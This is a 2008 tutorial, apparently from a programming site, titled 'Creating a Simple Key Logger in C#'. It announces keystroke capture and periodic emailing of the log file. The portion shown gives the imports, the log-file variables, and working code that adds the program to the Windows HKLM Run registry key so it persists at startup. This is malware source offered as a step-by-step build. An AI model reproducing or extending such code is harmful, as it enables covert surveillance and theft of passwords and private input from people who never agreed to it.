Creating a Simple Key Logger in C#
Written By: Dragos Nicholas
- 13 Sep 2008 -
Description: Learn how to program a simple key logger with the help of C# and the .NET Framework. And that's not all, it saves the keystrokes into a file and periodically sends the file as an email attachment.
- Creating the Project
- Running the Key Logger at Windows Startup
- You've Got Mail
- Intercepting Keystrokes
- The HookCallback Method
- API Methods
- Possible Errors
Running the Key Logger at Windows Startup
You can delete everything in Program.cs. This will be the file where all of our code will be. Please paste this block of code in Program.cs:
using System; using System.Diagnostics; using System.Timers; using System.Windows.Forms; using System.Runtime.InteropServices; using System.IO; using System.Net; using System.Net.Mail; using Microsoft.Win32;
We'll need System.Timers for the timer - when to send the mail, System.Windows.Forms and System.Runtime.InteropServices for importing the API methods for the keystrokes, System.IO for writing the user inputs into our file, System.Net.Mail for building our mail and Microsoft.Win32 for writing in the registry.
I've declared a class named appstart where I have the methods for writing in the registry (so we can run the application on startup) and another method for building and sending the mail. Below, I've declared the "path" string that points to the file where the keystrokes are recorded, the "caps" and "shift" variables that tell us if capslock or shift are being pressed and the "failed" variable (we're going to need all of them later in the program).
namespace Keylogger { class appstart { public static string path = "C:/file.txt"; public static byte caps = 0, shift = 0, failed = 0;
Here we have "startup()". I've used rkApp to check if my application is in the HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft…..\Run key. This is where the startup programs are located. If our application name is not here, then we set the value for the key: rkApp.SetValue(….).
public static void startup() { //Regedit --> Startup objects RegistryKey rkApp = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true); if (rkApp.GetValue("Keylogger") == null) { rkApp.SetValue("Keylogger",Application.ExecutablePath.ToString()); } rkApp.Close();//dispose of the key }
So now, the program, when runned, will check to see if it is in the Startup programs of Windows.